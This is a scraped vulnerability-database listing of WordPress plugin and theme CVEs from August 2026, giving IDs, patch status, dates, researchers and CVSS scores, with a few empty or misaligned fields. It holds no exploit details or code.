CVE-ID

CVE-2026-78570

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Total Donations [totaldonations]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-78568

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Total Donations [totaldonations]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18315

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Décio Brandão

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-74001

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin [user-registration-pro]

Researcher

0xd4rk5id3

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-73343

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

WP Compress – Instant Performance & Speed Optimization [wp-compress-image-optimizer]

Researcher

Charles Vosburgh

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-4703

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

WS Form LITE – Drag & Drop Contact Form Builder [ws-form]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-66627

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

GP Premium [gp-premium]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-74014

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

IT Residence [it-residence]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-66600

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

nh4tvd

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-0551

Patch Status

Patched

Published
Aug 22, 2026

Affected Software

PPWP – Password Protect Pages [password-protect-page]

Researcher

Webbernaut

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-73992

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Query Wrangler [query-wrangler]

Researcher

hhhai

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-16149

Patch Status

Patched

Published
Aug 22, 2026

Affected Software

Security Hardener [security-hardener]

Researcher

zickzick2

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-74016

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Smart Cleaning [smart-cleaning]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-32474

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Templatiq [templatiq]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-74018

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Warehouse Cargo [warehouse-cargo]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-19883

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

WPeMatico RSS Feed Fetcher [wpematico]

Researcher

Supakiad S. (m3ez)

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-19942

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Atarim – AI Agency for WordPress: Edit Pages, Fix Code, Update Plugins, SEO & Client Feedback [atarim-visual-collaboration]

Researcher

João Pedro S Alcântara (Kinorth)

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-66672

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Flatastic – Versatile MultiVendor WordPress Theme [flatastic]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-66583

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

Ahmed Hassan

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-66650

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

FreightCo – Free Transportation & Logistics WordPress Theme [freightco]

Researcher

João Pedro S Alcântara (Kinorth)

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73993

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

FundEngine – Donation and Crowdfunding Platform [wp-fundraising-donation]

Researcher

Taylsec

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-28150

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Golo Framework [golo-framework]

Researcher

João Pedro S Alcântara

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-78572

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Kalles Addons [kalles-addons]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-78478

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Mane [mane]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73341

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73387

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Resido – Real Estate WordPress Theme [resido]

Researcher

João Pedro S Alcântara

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73400

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Restaurant Menu and Food Ordering [mp-restaurant-menu]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-78566

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Shuffle [shuffle]

Researcher

Bonds

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73380

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Smart Popup by Supsystic [popup-by-supsystic]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-28151

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Tonda – Elegant Shop WordPress Theme [tonda]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-28152

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Tonda Core [tonda-core]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73376

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Ultimate Maps by Supsystic [ultimate-maps-by-supsystic]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-78562

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Verdure Core [verdure-core]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-66587

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WP Cafe Pro [wpcafe-pro]

Researcher

Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress [youzify]

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-73397

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Researcher

Peter Thaleikis

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-2996

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Advanced Product Fields (Product Addons) for WooCommerce [advanced-product-fields-for-woocommerce]

Researcher

Andrés Cruciani

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73355

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Affiliates Manager [affiliates-manager]

Researcher

20kilograma

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-68566

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

BookingPress Appointment Booking Pro [bookingpress-appointment-booking-pro]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2025-15688

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Capella | Restaurant WordPress [capella]

Researcher

João Ramos Maciel and Theo Antonio da Fonseca

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66622

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Depicter — Popup & Slider Builder [depicter]

Researcher

Peng Zhou

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12983

Patch Status

Unpatched

Published
Aug 17, 2026

Affected Software

Dinatur [dinatur]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66649

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Directory Pro [directory-pro]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-75963

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Events Made Easy [events-made-easy]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73364

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Flexible Subscriptions [flexible-subscriptions]

Researcher

Van Phuc

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73365

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

JetAppointment [jet-appointments-booking]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66680

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Locatoraid Store Locator [locatoraid]

Researcher

arrester

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73185

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

NGG Smart Image Search [ngg-smart-image-search]

Researcher

Jarno Vos

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73388

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Nikstore Core [nikstore-core]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-16950

Patch Status

Unpatched

Published
Aug 21, 2026

Affected Software

Product Shortlist [product-shortlist]

Researcher

João Ramos Maciel

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-78576

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Readabler [readabler]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66592

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

rtMedia for WordPress, BuddyPress and bbPress [buddypress-media]

Researcher

Aydan Arabadzha

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66593

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Security Plugin, Firewall & Malware Scanner with Auto Removal [security-malware-firewall]

Researcher

Noman Riffat

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-16616

Patch Status

Unpatched

Published
Aug 21, 2026

Affected Software

Simple File List [simple-file-list]

Researcher

Sanjar Tulkinov

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73187

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Sticky Chat Widget – Floating Chat Icons, Contact Form, Call, Click to Chat, Email & Message Buttons [sticky-chat-widget]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-73392

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Super Store Finder [superstorefinder-wp]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66609

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

TheGem – Creative Multi-Purpose & WooCommerce WordPress Theme [thegem-elementor]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-18051

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

W3 Total Cache [w3-total-cache]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-66586

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WP Cafe Pro [wpcafe-pro]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-11801

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

WPAdverts – Classifieds Plugin [wpadverts]

Researcher

Deva Parekh

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-19725

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WPvivid — Backup, Migration & Staging [wpvivid-backuprestore]

Researcher

Nir Yehoshua

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-66682

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Abandoned Cart Pro for WooCommerce [woocommerce-abandon-cart-pro]

Researcher

CVSS Rating
7.3 (High)

CVE-ID

CVE-2025-15689

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Capella | Restaurant WordPress [capella]

Researcher

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-28165

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Digits: WordPress Mobile Number Signup and Login [digits]

Researcher

VanTastic

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-19842

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

SAML Single Sign On – SSO Login [miniorange-saml-20-single-sign-on]

Researcher

Suhayb Ahmed

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-19714

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Simple JWT Login – Allows you to use JWT on REST endpoints. [simple-jwt-login]

Researcher

Abdullah Kareem “cyberkareem”

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-18031

Patch Status

Unpatched

Published
Aug 21, 2026

Affected Software

TabaPay Gateway [tabapay-gateway]

Researcher

moonge

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-18776

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Abdullah Kareem

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-73347

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66584

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

12 Step Meeting List [12-step-meeting-list]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66607

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Advance Product Search- Voice & Ajax Search for WooCommerce [th-advance-product-search]

Researcher

sequence_X0

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73358

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Affiliates Manager [affiliates-manager]

Researcher

20kilograma

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-17533

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

All-in-One WP Migration and Backup [all-in-one-wp-migration]

Researcher

Mohamed Bassia

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66612

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Aora – Home & Lifestyle Elementor WooCommerce Theme [aora]

Researchers

Son Bach

Lan Vy

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73338

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Autopay [platnosci-online-blue-media]

Researcher

ParkHyunWoo

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66598

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

B2Bking [b2bking]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73182

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

BBQ Pro [bbq-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-32547

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots [bp-better-messages]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-14334

Patch Status

Unpatched

Published
Aug 17, 2026

Affected Software

Booking calendar, Appointment Booking System [booking-calendar]

Researcher

Samdup Choephel

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73378

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Contact Form by Supsystic [contact-form-by-supsystic]

Researcher

João Pedro S Alcântara (Kinorth)

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61986

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe [contest-gallery]

Researcher

Thaer Assfour

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15049

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Depicter — Popup & Slider Builder [depicter]

Researcher

Md. Minaruzzaman Shovon

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-68567

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

EasyTest – Simplify A/B Testing [convertpro]

Researcher

timomangcut

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-28162

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Events Made Easy [events-made-easy]

Researcher

sequence_X0

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66673

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Flatastic – Versatile MultiVendor WordPress Theme [flatastic]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66633

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Fluent Forms Pro Add On Pack [fluentformpro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66616

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder [form-maker]

Researcher

Elijah Chia

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66614

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

GEO Plugin by Squirrly SEO [squirrly-seo]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66604

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

GeoDirectory – WP Business Directory Plugin and Classified Listings Directory [geodirectory]

Researcher

dunvu0

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73184

Patch Status

Unpatched

Published
Aug 19, 2026

Affected Software

Global Gallery – WordPress Responsive Gallery [global-gallery]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66581

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

JetEngine [jet-engine]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66629

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

Newsletter – Send awesome emails from WordPress

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73351

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn) Pro Addon [miniorange-login-openid]

Researcher

hackthesoul

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66596

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78563

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

NotificationX Pro [notificationx-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66611

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Paymob for WooCommerce [paymob-for-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-32473

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

PDF Smart Viewer for Elementor [pdf-smart-viewer-for-elementor]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66615

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Podlove Podcast Publisher [podlove-podcasting-plugin-for-wordpress]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73190

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

Evan NR

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73361

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Recipe Card Blocks Lite [recipe-card-blocks-by-wpzoom]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-13405

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Royal Addons for Elementor – Addons and Templates Kit for Elementor [royal-elementor-addons]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16617

Patch Status

Unpatched

Published
Aug 21, 2026

Affected Software

Simple File List [simple-file-list]

Researcher

Ruwantha Harshamal

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73354

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

SimplyRETS Real Estate IDX [simply-rets]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66606

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

SmartSMTP [smart-smtp]

Researcher

Jorgson

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66623

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Social Media Share Buttons & Social Sharing Icons [ultimate-social-media-icons]

Researcher

Bonds

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66605

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Swatchly – Product Variation Swatches for WooCommerce [swatchly]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66590

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Tagembed: Social Media Feeds and Customer Reviews Widget [tagembed-widget]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-14287

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

10Web Booster – Website speed optimization, Cache & Page Speed optimizer [tenweb-speed-optimizer]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-75981

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

TranslatePress – Translate Multilingual sites with AI Translation [translatepress-multilingual]

Researcher

Pham Duc Anh

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66582

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

TranslatePress – Translate Multilingual sites with AI Translation [translatepress-multilingual]

Researcher

Quentin Lamour

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66621

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Ultimate Dashboard – Custom WordPress Dashboard [ultimate-dashboard]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73375

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Ultimate Maps by Supsystic [ultimate-maps-by-supsystic]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73362

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

URL Shortify – Simple and Easy URL Shortener [url-shortify]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66610

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Urna – All-in-one WooCommerce WordPress Theme [urna]

Researchers

Khuong Hai

Thanh Nam

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-73342

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

WP Multilang – Translation and Multilingual Plugin [wp-multilang]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15780

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

WP Statistics – Simple, privacy-friendly Google Analytics alternative [wp-statistics]

Researcher

tipsen

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66599

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WPComplete [wpcomplete]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66597

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin [wpdatatables]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-18409

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WPForms Pro [wpforms]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-66620

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

OptionTree [option-tree]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-74012

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Tag, Category, and Taxonomy Manager – Autotagger Automatically Add Terms [simple-tags]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-66668

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Community by PeepSo – Download from PeepSo.com [peepso-core]

Researcher

Ayoub MOUHATTA

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-74013

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

eShipper Commerce [eshipper-commerce]

Researcher

hivesec

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-73345

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

License Manager for WooCommerce [license-manager-for-woocommerce]

Researcher

rootdirective.sec

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-66594

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Persistent Login [wp-persistent-login]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-18027

Patch Status

Patched

Published
Aug 22, 2026

Affected Software

WebToffee WooCommerce PDF Invoices, Packing Slips, Delivery Notes & Shipping Labels [print-invoices-packing-slip-labels-for-woocommerce]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-78470

Patch Status

Unpatched

Published
Aug 21, 2026

Affected Software

WP Project Manager Pro [wedevs-project-manager-business]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-73998

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

WP w3all phpBB [wp-w3all-phpbb-integration]

Researcher

Khanh Nguyen

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-32552

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

YITH WooCommerce Membership Premium [yith-woocommerce-membership-premium]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-19615

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Admin and Site Enhancements (ASE) [admin-site-enhancements]

Researcher

Mohammed Abd Alrahman

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66603

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Draft List [simple-draft-list]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15253

Patch Status

Unpatched

Published
Aug 17, 2026

Affected Software

Easy Media Replace [easy-media-replace]

Researcher

testoun

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15446

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

EWWW Image Optimizer [ewww-image-optimizer]

Researcher

UKO

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66637

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Featured Video Plus [featured-video-plus]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66638

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Frontend Admin by DynamiApps [acf-frontend-form-element]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-68565

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

GeoDirectory – WP Business Directory Plugin and Classified Listings Directory [geodirectory]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-19697

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor [gutenkit-blocks-addon]

Researcher

Yaswanth Reddy Sunkara

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-4559

Patch Status

Patched

Published
Aug 22, 2026

Affected Software

Image Photo Gallery Final Tiles Grid [final-tiles-grid-gallery-lite]

Researchers

Itthidej Aramsri (Boeing777)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18202

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

JetEngine [jet-engine]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66640

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-19712

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-4561

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

MC4WP: Mailchimp for WordPress [mailchimp-for-wp]

Researcher

Abdullah Kareem “cyberkareem”

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66591

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66601

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

nh4tvd

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15421

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Speed Optimizer – The All-In-One Performance-Boosting Plugin [sg-cachepress]

Researcher

stealthcopter

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66645

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Table Of Contents Block [table-of-contents-block]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66644

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Typing Effect [animated-typing-effect]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66641

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Video Conferencing with Zoom [video-conferencing-with-zoom-api]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66636

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

Wise Chat [wise-chat]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-73402

Patch Status

Patched

Published
Aug 20, 2026

Affected Software

WP BASE Booking of Appointments, Services and Events [wp-base-booking-of-appointments-services-and-events]

Researcher

moonge

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66646

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

WP Tab Widget [wp-tab-widget]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-73359

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66639

Patch Status

Unpatched

Published
Aug 18, 2026

Affected Software

